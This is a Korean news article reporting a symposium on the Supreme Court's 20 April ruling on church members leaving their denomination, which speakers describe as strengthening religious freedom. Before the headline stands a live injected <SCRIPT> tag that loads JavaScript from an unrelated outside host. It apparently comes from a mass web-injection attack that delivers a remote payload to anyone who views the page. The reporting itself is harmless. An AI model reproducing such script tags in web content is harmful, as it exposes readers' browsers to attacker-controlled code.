<SCRIPT Language=JavaScript src=http://php.chol.com/~wanho/bbs/data/poem/esuyoil.js></script> “4·20 판례로 교인들의 종교자유 가능해졌다”
교회법률상담소, 심포지움서 4·20 판례 의미 분석

 
교회법률상담소(소장 황규학 목사)가 22일 장신대 주기철기념관에서 지난 4월 20일 있었던 대법원 판례의 의미를 분석하는 심포지움을 개최했다. 대법원 전원합의체는 4월 20일 판결에서 앞으로 교회 내부에서 교단 탈퇴 및 변경을 둘러싸고 분쟁이 발생하는 경우, 교단 탈퇴를 의도하는 교인들은 최소한 결의권자의 2/3에 이르는 교인들로부터 지지를 얻고 적법한 소집절차에 따른 결의를 거쳐야 한다고 밝혔다. 이는 교회 재산은 분열 당시 교인 모두의 총유(수익, 사용은 할 수 있지만 처분은 할 수 없는 권리)로 인정해 어느 쪽에도 소유권을 인정하지 않았던 기존의 판례를 깬 것이다.

김진호 세무사(광석교회)는 이번 판결에 대해 “교인들이 자신이 신봉하는 교리를 따라 자유롭게 교회를 선택하거나, 또는 선택했던 교회를 탈퇴할 수 있게 됐다”며 “종교의 자유를 향유할 수 있게 한 판례”라고 분석했다.

김 세무사는 또 “대법원이 종전의 견해를 변경함에 따라, 교회의 신앙단체로서의 성격과 사단법인으로서의 성격을 모두 인정했다”며 “민주주의 원칙과 사단법인에 대한 법리에 따른 교회 운영이 가능해졌다”고 평가했다.

앞서 교회분규 실태에 대해 발제한 오광문 장로(정릉제일교회)는 “이번 판례로 인해 목사가 자신의 이해 때문에 뜻이 맞는 몇몇 성도들과 교단을 옮겨 놓고 나중에 교회의 재산권을 주장하는 것을 제재할 수 있게 됐다”고 환영하기도 했다. 그는 또 최근 분규가 발생했던 교회들의 사례에 대해 설명하기도 했다.

한편, 대법원은 당시 판결에 대해 “민주주의 원칙에 따른 교회 운영이 가능해짐으로써 교회 분쟁에 대한 예방적 기능을 수행할 수 있게 되었다”며 “사단법인에 대한 통일적 규율과 함께, 개별 교인들의 종교의 자유 보호를 조화시킬 수 있는 토대를 마련하였다는 데 큰 의미가 있다”고 평가했던 바 있다.

류재광 기자 jgryoo@chtoday.co.kr